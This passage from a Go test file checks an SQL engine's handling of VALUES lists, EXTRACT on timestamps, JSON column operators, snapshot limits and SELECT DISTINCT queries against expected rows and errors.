(id) VALUES(1); UPSERT INTO table1 (id) VALUES(1)\", nil)\n\t\trequire.ErrorIs(t, err, ErrExpectingDQLStmt)\n\t\trequire.Nil(t, r)\n\n\t\tr, err = engine.QueryPreparedStmt(context.Background(), nil, nil, nil)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\t\trequire.Nil(t, r)\n\n\t\tparams = make(map[string]interface{})\n\t\tparams[\"null_param\"] = nil\n\n\t\tr, err = engine.Query(context.Background(), nil, \"SELECT id FROM table1 WHERE active = @null_param\", params)\n\t\trequire.NoError(t, err)\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"query from values\", func(t *testing.T) {\n\t\t_, err := engine.queryAll(\n\t\t\tcontext.Background(),\n\t\t\tnil,\n\t\t\t`\n\t\t\tSELECT * FROM (\n\t\t\t\tVALUES\n\t\t\t\t\t(1, 'foo'),\n\t\t\t\t\t(2, true)\n\t\t\t)\n\t\t\t`,\n\t\t\tnil,\n\t\t)\n\t\trequire.ErrorContains(t, err, \"cannot match types VARCHAR and BOOLEAN\")\n\n\t\t_, err = engine.queryAll(\n\t\t\tcontext.Background(),\n\t\t\tnil,\n\t\t\t`\n\t\t\tSELECT * FROM (\n\t\t\t\tVALUES\n\t\t\t\t\t(@a),\n\t\t\t\t\t(@b)\n\t\t\t)\n\t\t\t`,\n\t\t\tmap[string]interface{}{\"a\": 1, \"b\": \"test\"},\n\t\t)\n\t\trequire.ErrorContains(t, err, \"cannot match types INTEGER and VARCHAR\")\n\n\t\trows, err := engine.queryAll(\n\t\t\tcontext.Background(),\n\t\t\tnil,\n\t\t\t`\n\t\t\tSELECT * FROM (\n\t\t\t\tVALUES\n\t\t\t\t\t(1, 'foo', true, 1.22, '2024-11-29'::TIMESTAMP),\n\t\t\t\t\t(2, 'bar', false, 1.25, '1996-09-11'::TIMESTAMP),\n\t\t\t\t\t(3, 'baz', true, 2.50, '2000-01-01'::TIMESTAMP),\n\t\t\t\t\t(4, 'qux', false, 3.75, '2010-05-15'::TIMESTAMP),\n\t\t\t\t\t(5, 'quux', true, 0.99, '2022-12-31'::TIMESTAMP)\n\t\t\t)\n\t\t\t`,\n\t\t\tnil,\n\t\t)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, rows, 5)\n\n\t\texpectedRows := []*Row{\n\t\t\t{\n\t\t\t\tValuesByPosition: []TypedValue{\n\t\t\t\t\t&Integer{1}, &Varchar{\"foo\"}, &Bool{true}, &Float64{1.22}, &Timestamp{time.Date(2024, 11, 29, 0, 0, 0, 0, time.UTC)},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tValuesByPosition: []TypedValue{\n\t\t\t\t\t&Integer{2}, &Varchar{\"bar\"}, &Bool{false}, &Float64{1.25}, &Timestamp{time.Date(1996, 9, 11, 0, 0, 0, 0, time.UTC)},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tValuesByPosition: []TypedValue{\n\t\t\t\t\t&Integer{3}, &Varchar{\"baz\"}, &Bool{true}, &Float64{2.50}, &Timestamp{time.Date(2000, 1, 1, 0, 0, 0, 0, time.UTC)},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tValuesByPosition: []TypedValue{\n\t\t\t\t\t&Integer{4}, &Varchar{\"qux\"}, &Bool{false}, &Float64{3.75}, &Timestamp{time.Date(2010, 5, 15, 0, 0, 0, 0, time.UTC)},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tValuesByPosition: []TypedValue{\n\t\t\t\t\t&Integer{5}, &Varchar{\"quux\"}, &Bool{true}, &Float64{0.99}, &Timestamp{time.Date(2022, 12, 31, 0, 0, 0, 0, time.UTC)},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\tfor i, row := range rows {\n\t\t\trequire.Equal(t, expectedRows[i].ValuesByPosition, row.ValuesByPosition)\n\t\t}\n\t})\n\n\tt.Run(\"constant selection query\", func(t *testing.T) {\n\t\t_, err := engine.queryAll(\n\t\t\tcontext.Background(),\n\t\t\tnil,\n\t\t\t\"SELECT *\",\n\t\t\tnil,\n\t\t)\n\t\trequire.ErrorContains(t, err, \"SELECT * with no tables specified is not valid\")\n\n\t\tassertQueryShouldProduceResults(\n\t\t\tt,\n\t\t\tengine,\n\t\t\t\"SELECT 1, true, 'test'\",\n\t\t\t\"SELECT * FROM (VALUES (1, true, 'test'))\",\n\t\t)\n\t})\n\n\tt.Run(\"should resolve rows equivalently for BETWEEN and >= AND <=\", func(t *testing.T) {\n\t\tbetweenRows, err := engine.queryAll(\n\t\t\tcontext.Background(),\n\t\t\tnil,\n\t\t\t\"SELECT id, title FROM table1 WHERE id BETWEEN 1 AND 3 ORDER BY id\",\n\t\t\tnil,\n\t\t)\n\t\trequire.NoError(t, err)\n\n\t\trangeRows, err := engine.queryAll(\n\t\t\tcontext.Background(), nil,\n\t\t\t\"SELECT id, title FROM table1 WHERE id >= 1 AND id <= 3 ORDER BY id\",\n\t\t\tnil,\n\t\t)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, betweenRows, rangeRows)\n\t})\n}\n\nfunc TestExtractFromTimestamp(t *testing.T) {\n\tst, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true))\n\trequire.NoError(t, err)\n\tdefer closeStore(t, st)\n\n\tengine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix))\n\trequire.NoError(t, err)\n\n\tt.Run(\"extract from constant expressions\", func(t *testing.T) {\n\t\tassertQueryShouldProduceResults(\n\t\t\tt,\n\t\t\tengine,\n\t\t\t`SELECT\n\t\t\tEXTRACT(YEAR FROM '2020-01-15'),\n\t\t\tEXTRACT(MONTH FROM '2020-01-15'),\n\t\t\tEXTRACT(DAY FROM '2020-01-15'::TIMESTAMP),\n\t\t\tEXTRACT(HOUR FROM '2020-01-15 12:30:24'),\n\t\t\tEXTRACT(MINUTE FROM '2020-01-15 12:30:24'),\n\t\t\tEXTRACT(SECOND FROM '2020-01-15 12:30:24'::TIMESTAMP)\n\t\t`,\n\t\t\t`SELECT * FROM (\n\t\t\tVALUES (2020, 01, 15, 12, 30, 24)\n\t\t)`,\n\t\t)\n\t})\n\n\tt.Run(\"extract from table\", func(t *testing.T) {\n\t\t_, _, err := engine.Exec(\n\t\t\tcontext.Background(),\n\t\t\tnil,\n\t\t\t`CREATE TABLE events(ts TIMESTAMP PRIMARY KEY);\n\n\t\t\tINSERT INTO events(ts) VALUES\n\t\t\t\t('2021-07-04 14:45:30'::TIMESTAMP),\n\t\t\t\t('1999-12-31 23:59:59'::TIMESTAMP);\n\t\t\t`,\n\t\t\tnil,\n\t\t)\n\t\trequire.NoError(t, err)\n\n\t\tassertQueryShouldProduceResults(\n\t\t\tt,\n\t\t\tengine,\n\t\t\t`SELECT\n\t\t\t\tEXTRACT(YEAR FROM ts),\n\t\t\t\tEXTRACT(MONTH FROM ts),\n\t\t\t\tEXTRACT(DAY FROM ts),\n\t\t\t\tEXTRACT(HOUR FROM ts),\n\t\t\t\tEXTRACT(MINUTE FROM ts),\n\t\t\t\tEXTRACT(SECOND FROM ts)\n\t\t\tFROM events\n\t\t\tORDER BY ts\n\t\t\t`,\n\t\t\t`SELECT * FROM (\n\t\t\t\tVALUES\n\t\t\t\t\t(1999, 12, 31, 23, 59, 59),\n\t\t\t\t\t(2021, 07, 04, 14, 45, 30)\n\t\t\t)`,\n\t\t)\n\t})\n\n}\n\nfunc TestJSON(t *testing.T) {\n\topts := store.DefaultOptions().WithMultiIndexing(true)\n\topts.WithIndexOptions(opts.IndexOpts.WithMaxActiveSnapshots(1))\n\n\tst, err := store.Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\tdefer closeStore(t, st)\n\n\tengine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix))\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(\n\t\tcontext.Background(), nil,\n\t\t`\n\t\tCREATE TABLE tbl_with_json (\n\t\t\tid INTEGER AUTO_INCREMENT,\n\t\t\tjson_data JSON NOT NULL,\n\n\t\t\tPRIMARY KEY(id)\n\t\t)`, nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(\n\t\tcontext.Background(),\n\t\tnil,\n\t\t`INSERT INTO tbl_with_json(json_data) VALUES ('invalid json value')`,\n\t\tnil,\n\t)\n\trequire.ErrorIs(t, err, ErrInvalidValue)\n\n\t_, _, err = engine.Exec(\n\t\tcontext.Background(),\n\t\tnil,\n\t\t`INSERT INTO tbl_with_json(json_data) VALUES (10)`,\n\t\tnil,\n\t)\n\trequire.ErrorIs(t, err, ErrInvalidValue)\n\n\tn := 100\n\tfor i := 0; i < n; i++ {\n\t\tdata := fmt.Sprintf(\n\t\t\t`{\"usr\": {\"name\": \"%s\", \"active\": %t, \"details\": {\"age\": %d, \"city\": \"%s\"}, \"perms\": [\"r\", \"w\"]}}`,\n\t\t\tfmt.Sprintf(\"name%d\", i+1),\n\t\t\ti%2 == 0,\n\t\t\ti+1,\n\t\t\tfmt.Sprintf(\"city%d\", i+1),\n\t\t)\n\n\t\t_, _, err = engine.Exec(\n\t\t\tcontext.Background(),\n\t\t\tnil,\n\t\t\tfmt.Sprintf(`INSERT INTO tbl_with_json(json_data) VALUES ('%s')`, data),\n\t\t\tnil,\n\t\t)\n\t\trequire.NoError(t, err)\n\t}\n\n\tt.Run(\"apply -> operator on non JSON column\", func(t *testing.T) {\n\t\t_, err := engine.queryAll(\n\t\t\tcontext.Background(),\n\t\t\tnil,\n\t\t\t\"SELECT id->'name' FROM tbl_with_json\",\n\t\t\tnil,\n\t\t)\n\t\trequire.ErrorContains(t, err, \"-> operator cannot be applied on column of type INTEGER\")\n\t})\n\n\tt.Run(\"filter json fields\", func(t *testing.T) {\n\t\tt.Run(\"filter boolean value\", func(t *testing.T) {\n\t\t\trows, err := engine.queryAll(\n\t\t\t\tcontext.Background(),\n\t\t\t\tnil,\n\t\t\t\t`\n\t\t\t\t\tSELECT json_data->'usr'\n\t\t\t\t\tFROM tbl_with_json\n\t\t\t\t\tWHERE json_data->'usr'->'active' = TRUE\n\t\t\t\t`,\n\t\t\t\tnil,\n\t\t\t)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, rows, n/2)\n\n\t\t\tfor i, row := range rows {\n\t\t\t\tusr, _ := row.ValuesBySelector[EncodeSelector(\"\", \"tbl_with_json\", \"json_data->'usr'\")].RawValue().(map[string]interface{})\n\n\t\t\t\trequire.Equal(t, map[string]interface{}{\n\t\t\t\t\t\"name\":   fmt.Sprintf(\"name%d\", (2*i + 1)),\n\t\t\t\t\t\"active\": true,\n\t\t\t\t\t\"details\": map[string]interface{}{\n\t\t\t\t\t\t\"age\":  float64((2*i + 1)),\n\t\t\t\t\t\t\"city\": fmt.Sprintf(\"city%d\", (2*i + 1)),\n\t\t\t\t\t},\n\t\t\t\t\t\"perms\": []interface{}{\n\t\t\t\t\t\t\"r\", \"w\",\n\t\t\t\t\t},\n\t\t\t\t}, usr)\n\t\t\t}\n\t\t})\n\n\t\tt.Run(\"filter numeric value\", func(t *testing.T) {\n\t\t\trows, err := engine.queryAll(\n\t\t\t\tcontext.Background(),\n\t\t\t\tnil,\n\t\t\t\t`\n\t\t\t\t\tSELECT json_data->'usr'->'name'\n\t\t\t\t\tFROM tbl_with_json\n\t\t\t\t\tWHERE json_data->'usr'->'details'->'age' + 1 >= 52\n\t\t\t\t`,\n\t\t\t\tnil,\n\t\t\t)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, rows, n/2)\n\n\t\t\tfor i, row := range rows {\n\t\t\t\tname := row.ValuesByPosition[0].RawValue()\n\t\t\t\trequire.Equal(t, name, fmt.Sprintf(\"name%d\", 51+i))\n\t\t\t}\n\t\t})\n\n\t\tt.Run(\"filter varchar value\", func(t *testing.T) {\n\t\t\trows, err := engine.queryAll(\n\t\t\t\tcontext.Background(),\n\t\t\t\tnil,\n\t\t\t\t`\n\t\t\t\t\tSELECT json_data->'usr'->'name'\n\t\t\t\t\tFROM tbl_with_json\n\t\t\t\t\tWHERE json_data->'usr'->'name' LIKE '^name.*' AND json_data->'usr'->'perms'->'0' = 'r'\n\t\t\t\t`,\n\t\t\t\tnil,\n\t\t\t)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, rows, n)\n\n\t\t\tfor i, row := range rows {\n\t\t\t\tname := row.ValuesByPosition[0].RawValue()\n\t\t\t\trequire.Equal(t, name, fmt.Sprintf(\"name%d\", i+1))\n\t\t\t}\n\t\t})\n\t})\n\n\tt.Run(\"order by json field\", func(t *testing.T) {\n\t\t_, err := engine.queryAll(\n\t\t\tcontext.Background(),\n\t\t\tnil,\n\t\t\t`\n\t\t\t\tSELECT json_data\n\t\t\t\tFROM tbl_with_json\n\t\t\t\tORDER BY json_data\n\t\t\t`,\n\t\t\tnil,\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrNotComparableValues)\n\n\t\trows, err := engine.queryAll(\n\t\t\tcontext.Background(),\n\t\t\tnil,\n\t\t\t`\n\t\t\t\tSELECT json_data->'usr', json_data->'usr'->'details'->'age' as age, json_data->'usr'->'details'->'city' as city, json_data->'usr'->'name' as name\n\t\t\t\tFROM tbl_with_json\n\t\t\t\tORDER BY json_data->'usr'->'details'->'age' DESC\n\t\t\t`,\n\t\t\tnil,\n\t\t)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, rows, n)\n\n\t\tfor i, row := range rows {\n\t\t\tusr, _ := row.ValuesBySelector[EncodeSelector(\"\", \"tbl_with_json\", \"json_data->'usr'\")].RawValue().(map[string]interface{})\n\t\t\tname, _ := row.ValuesBySelector[EncodeSelector(\"\", \"tbl_with_json\", \"name\")].RawValue().(string)\n\t\t\tage, _ := row.ValuesBySelector[EncodeSelector(\"\", \"tbl_with_json\", \"age\")].RawValue().(float64)\n\t\t\tcity, _ := row.ValuesBySelector[EncodeSelector(\"\", \"tbl_with_json\", \"city\")].RawValue().(string)\n\n\t\t\trequire.Equal(t, map[string]interface{}{\n\t\t\t\t\"name\":   name,\n\t\t\t\t\"active\": (n-1-i)%2 == 0,\n\t\t\t\t\"details\": map[string]interface{}{\n\t\t\t\t\t\"age\":  age,\n\t\t\t\t\t\"city\": city,\n\t\t\t\t},\n\t\t\t\t\"perms\": []interface{}{\"r\", \"w\"},\n\t\t\t}, usr)\n\n\t\t\trequire.Equal(t, fmt.Sprintf(\"name%d\", n-i), name)\n\t\t\trequire.Equal(t, float64(n-i), age)\n\t\t\trequire.Equal(t, fmt.Sprintf(\"city%d\", n-i), city)\n\t\t}\n\t})\n\n\tt.Run(\"test join on json field\", func(t *testing.T) {\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE TABLE table1(id INTEGER AUTO_INCREMENT, value VARCHAR, PRIMARY KEY(id))\", nil)\n\t\trequire.NoError(t, err)\n\n\t\tfor i := 0; i < 10; i++ {\n\t\t\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO table1(value) VALUES (@name)\", map[string]interface{}{\"name\": fmt.Sprintf(\"name%d\", i+1)})\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\trows, err := engine.queryAll(\n\t\t\tcontext.Background(),\n\t\t\tnil,\n\t\t\t\"SELECT table1.value, json_data->'usr'->'name' FROM tbl_with_json JOIN table1 ON table1.value = tbl_with_json.json_data->'usr'->'name' ORDER BY table1.id\",\n\t\t\tnil,\n\t\t)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, rows, 10)\n\n\t\tfor i, row := range rows {\n\t\t\trequire.Len(t, row.ValuesByPosition, 2)\n\t\t\trequire.Equal(t, fmt.Sprintf(\"name%d\", i+1), row.ValuesByPosition[0].RawValue())\n\t\t\trequire.Equal(t, row.ValuesByPosition[0].RawValue(), row.ValuesByPosition[1].RawValue())\n\t\t}\n\t})\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"DELETE FROM tbl_with_json\", nil)\n\trequire.NoError(t, err)\n\n\trandJson := func(src *rand.Rand) interface{} {\n\t\tswitch src.Intn(6) {\n\t\tcase 0:\n\t\t\treturn src.Float64()\n\t\tcase 1:\n\t\t\treturn fmt.Sprintf(\"string%d\", src.Int63())\n\t\tcase 2:\n\t\t\treturn src.Int()%2 == 0\n\t\tcase 3:\n\t\t\treturn map[string]interface{}{\n\t\t\t\t\"test\": \"value\",\n\t\t\t}\n\t\tcase 4:\n\t\t\treturn []interface{}{\"test\", true, 10.5}\n\t\t}\n\t\treturn nil\n\t}\n\n\tseed := time.Now().UnixNano()\n\tsrc := rand.New(rand.NewSource(seed))\n\tfor i := 0; i < n; i++ {\n\t\tdata := randJson(src)\n\n\t\tjsonData, err := json.Marshal(data)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(\n\t\t\tcontext.Background(),\n\t\t\tnil,\n\t\t\t\"INSERT INTO tbl_with_json(json_data) VALUES (@data)\",\n\t\t\tmap[string]interface{}{\"data\": string(jsonData)},\n\t\t)\n\t\trequire.NoError(t, err)\n\t}\n\n\tt.Run(\"lookup field\", func(t *testing.T) {\n\t\trows, err := engine.queryAll(\n\t\t\tcontext.Background(),\n\t\t\tnil,\n\t\t\t\"SELECT json_data, json_data->'test' FROM tbl_with_json\",\n\t\t\tnil,\n\t\t)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, rows, n)\n\n\t\tfor _, row := range rows {\n\t\t\tdata := row.ValuesByPosition[0].RawValue()\n\t\t\tvalue := row.ValuesByPosition[1].RawValue()\n\t\t\tif _, isObject := data.(map[string]interface{}); isObject {\n\t\t\t\trequire.Equal(t, \"value\", row.ValuesByPosition[1].RawValue())\n\t\t\t} else {\n\t\t\t\trequire.Nil(t, value)\n\t\t\t}\n\t\t}\n\t})\n\n\tt.Run(\"query json with mixed types\", func(t *testing.T) {\n\t\trows, err := engine.queryAll(\n\t\t\tcontext.Background(),\n\t\t\tnil,\n\t\t\t\"SELECT json_data FROM tbl_with_json\",\n\t\t\tnil,\n\t\t)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, rows, n)\n\n\t\tstringValues := 0\n\n\t\tsrc := rand.New(rand.NewSource(seed))\n\t\tfor _, row := range rows {\n\t\t\ts := row.ValuesByPosition[0].RawValue()\n\t\t\trequire.Equal(t, randJson(src), s)\n\n\t\t\tif _, ok := s.(string); ok {\n\t\t\t\tstringValues++\n\t\t\t}\n\t\t}\n\n\t\trows, err = engine.queryAll(\n\t\t\tcontext.Background(),\n\t\t\tnil,\n\t\t\t\"SELECT COUNT(*) FROM tbl_with_json WHERE json_typeof(json_data) = 'STRING'\",\n\t\t\tnil,\n\t\t)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, rows, 1)\n\t\trequire.Equal(t, rows[0].ValuesByPosition[0].RawValue(), int64(stringValues))\n\t})\n\n\tt.Run(\"update json data\", func(t *testing.T) {\n\t\t_, _, err = engine.Exec(\n\t\t\tcontext.Background(),\n\t\t\tnil,\n\t\t\tfmt.Sprintf(`UPDATE tbl_with_json SET json_data = '%d' WHERE json_typeof(json_data) = 'STRING'`, rand.Int63()),\n\t\t\tnil,\n\t\t)\n\t\trequire.NoError(t, err)\n\n\t\trows, err := engine.queryAll(\n\t\t\tcontext.Background(),\n\t\t\tnil,\n\t\t\t\"SELECT COUNT(*) FROM tbl_with_json WHERE json_typeof(json_data) = 'STRING'\",\n\t\t\tnil,\n\t\t)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, rows, 1)\n\t\trequire.Zero(t, rows[0].ValuesByPosition[0].RawValue())\n\t})\n\n\tt.Run(\"cannot index json column\", func(t *testing.T) {\n\t\t_, _, err = engine.Exec(\n\t\t\tcontext.Background(),\n\t\t\tnil,\n\t\t\t\"CREATE INDEX ON tbl_with_json(json_data);\", nil)\n\t\trequire.ErrorIs(t, err, ErrCannotIndexJson)\n\n\t\t_, _, err = engine.Exec(\n\t\t\tcontext.Background(), nil,\n\t\t\t`\n\t\t\tCREATE TABLE test (\n\t\t\t\tjson_data JSON NOT NULL,\n\n\t\t\t\tPRIMARY KEY(json_data)\n\t\t\t)`, nil)\n\t\trequire.ErrorIs(t, err, ErrCannotIndexJson)\n\t})\n}\n\nfunc TestQueryCornerCases(t *testing.T) {\n\topts := store.DefaultOptions().WithMultiIndexing(true)\n\topts.WithIndexOptions(opts.IndexOpts.WithMaxActiveSnapshots(1))\n\n\tst, err := store.Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\tdefer closeStore(t, st)\n\n\tengine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix))\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(\n\t\tcontext.Background(), nil,\n\t\t`\n\t\tCREATE TABLE table1 (\n\t\t\tid INTEGER AUTO_INCREMENT,\n\t\t\tPRIMARY KEY(id)\n\t\t)`, nil)\n\trequire.NoError(t, err)\n\n\tres, err := engine.Query(context.Background(), nil, \"SELECT * FROM table1\", nil)\n\trequire.NoError(t, err)\n\n\terr = res.Close()\n\trequire.NoError(t, err)\n\n\tt.Run(\"run out of snapshots\", func(t *testing.T) {\n\t\t// Get one tx that takes the snapshot\n\t\ttx, err := engine.NewTx(context.Background(), DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\tres, err = engine.Query(context.Background(), nil, \"SELECT * FROM table1\", nil)\n\t\trequire.ErrorIs(t, err, tbtree.ErrorToManyActiveSnapshots)\n\t\trequire.Nil(t, res)\n\n\t\tres, err = engine.Query(context.Background(), tx, \"SELECT * FROM table1\", nil)\n\t\trequire.NoError(t, err)\n\n\t\terr = res.Close()\n\t\trequire.NoError(t, err)\n\n\t\terr = tx.Cancel()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"invalid query parameters\", func(t *testing.T) {\n\t\t_, err := engine.Query(context.Background(), nil, \"SELECT * FROM table1\", map[string]interface{}{\n\t\t\t\"param\": \"value\",\n\t\t\t\"Param\": \"value\",\n\t\t})\n\t\trequire.ErrorIs(t, err, ErrDuplicatedParameters)\n\t})\n}\n\nfunc TestQueryDistinct(t *testing.T) {\n\tst, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true))\n\trequire.NoError(t, err)\n\tdefer closeStore(t, st)\n\n\topts := DefaultOptions().WithPrefix(sqlPrefix).WithDistinctLimit(4)\n\tengine, err := NewEngine(st, opts)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(\n\t\tcontext.Background(), nil, `CREATE TABLE table1 (\n\t\t\t\t\t\t\t\tid INTEGER AUTO_INCREMENT,\n\t\t\t\t\t\t\t\ttitle VARCHAR,\n\t\t\t\t\t\t\t\tamount INTEGER,\n\t\t\t\t\t\t\t\tactive BOOLEAN,\n\t\t\t\t\t\t\t\tPRIMARY KEY id)`, nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, `INSERT INTO table1 (title, amount, active) VALUES\n\t\t\t\t\t\t\t\t('title1', 100, NULL),\n\t\t\t\t\t\t\t\t('title2', 200, false),\n\t\t\t\t\t\t\t\t('title3', 200, true),\n\t\t\t\t\t\t\t\t('title4', 300, NULL)`, nil)\n\trequire.NoError(t, err)\n\n\tt.Run(\"should return all titles\", func(t *testing.T) {\n\t\tparams := make(map[string]interface{})\n\t\tparams[\"id\"] = 3\n\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT DISTINCT title FROM table1 WHERE id <= @id\", params)\n\t\trequire.NoError(t, err)\n\n\t\tcols, err := r.Columns(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, cols, 1)\n\t\trequire.Equal(t, \"(table1.title)\", cols[0].Selector())\n\n\t\tfor i := 1; i <= 3; i++ {\n\t\t\trow, err := r.Read(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, row.ValuesBySelector, 1)\n\t\t\trequire.Equal(t, fmt.Sprintf(\"title%d\", i), row.ValuesBySelector[\"(table1.title)\"].RawValue())\n\t\t}\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"should return two titles\", func(t *testing.T) {\n\t\tparams := make(map[string]interface{})\n\t\tparams[\"id\"] = 3\n\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT DISTINCT title FROM table1 WHERE id <= @id LIMIT 2\", params)\n\t\trequire.NoError(t, err)\n\n\t\tcols, err := r.Columns(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, cols, 1)\n\t\trequire.Equal(t, \"(table1.title)\", cols[0].Selector())\n\n\t\tfor i := 1; i <= 2; i++ {\n\t\t\trow, err := r.Read(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, row.ValuesBySelector, 1)\n\t\t\trequire.Equal(t, fmt.Sprintf(\"title%d\", i), row.ValuesBySelector[\"(table1.title)\"].RawValue())\n\t\t}\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"should return two titles starting from the second one\", func(t *testing.T) {\n\t\tparams := make(map[string]interface{})\n\t\tparams[\"id\"] = 3\n\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT DISTINCT title FROM table1 WHERE id <= @id LIMIT 2 OFFSET 1\", params)\n\t\trequire.NoError(t, err)\n\n\t\tcols, err := r.Columns(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, cols, 1)\n\t\trequire.Equal(t, \"(table1.title)\", cols[0].Selector())\n\n\t\tfor i := 2; i <= 3; i++ {\n\t\t\trow, err := r.Read(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, row.ValuesBySelector, 1)\n\t\t\trequire.Equal(t, fmt.Sprintf(\"title%d\", i), row.ValuesBySelector[\"(table1.title)\"].RawValue())\n\t\t}\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"should return two distinct amounts\", func(t *testing.T) {\n\t\tparams := make(map[string]interface{})\n\t\tparams[\"id\"] = 3\n\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT DISTINCT amount FROM table1 WHERE id <= @id\", params)\n\t\trequire.NoError(t, err)\n\n\t\tcols, err := r.Columns(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, cols, 1)\n\t\trequire.Equal(t, \"(table1.amount)\", cols[0].Selector())\n\n\t\tfor i := 1; i <= 2; i++ {\n\t\t\trow, err := r.Read(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, row.ValuesBySelector, 1)\n\t\t\trequire.Equal(t, int64(i*100), row.ValuesBySelector[\"(table1.amount)\"].RawValue())\n\t\t}\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"should return rows with null, false and true\", func(t *testing.T) {\n\t\tparams := make(map[string]interface{})\n\t\tparams[\"id\"] = 3\n\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT DISTINCT active FROM table1 WHERE id <= @id\", params)\n\t\trequire.NoError(t, err)\n\n\t\tcols, err := r.Columns(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, cols, 1)\n\t\trequire.Equal(t, \"(table1.active)\", cols[0].Selector())\n\n\t\tfor i := 0; i <= 2; i++ {\n\t\t\trow, err := r.Read(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, row.ValuesBySelector, 1)\n\n\t\t\tif i == 0 {\n\t\t\t\trequire.Nil(t, row.ValuesBySelector[\"(table1.active)\"].RawValue())\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\trequire.Equal(t, i == 2, row.ValuesBySelector[\"(table1.active)\"].RawValue())\n\t\t}\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"should return three rows\", func(t *testing.T) {\n\t\tparams := make(map[string]interface{})\n\t\tparams[\"id\"] = 3\n\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT DISTINCT amount, active FROM table1 WHERE id <= @id\", params)\n\t\trequire.NoError(t, err)\n\n\t\tcols, err := r.Columns(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, cols, 2)\n\t\trequire.Equal(t, \"(table1.amount)\", cols[0].Selector())\n\t\trequire.Equal(t, \"(table1.active)\", cols[1].Selector())\n\n\t\tfor i := 0; i <= 2; i++ {\n\t\t\trow, err := r.Read(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, row.ValuesBySelector, 2)\n\n\t\t\tif i == 0 {\n\t\t\t\trequire.Equal(t, int64(100), row.ValuesBySelector[\"(table1.amount)\"].RawValue())\n\t\t\t\trequire.Nil(t, row.ValuesBySelector[\"(table1.active)\"].RawValue())\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\trequire.Equal(t, int64(200), row.ValuesBySelector[\"(table1.amount)\"].RawValue())\n\t\t\trequire.Equal(t, i == 2, row.ValuesBySelector[\"(table1.active)\"].RawValue())\n\t\t}\n\n\t\t_, err = 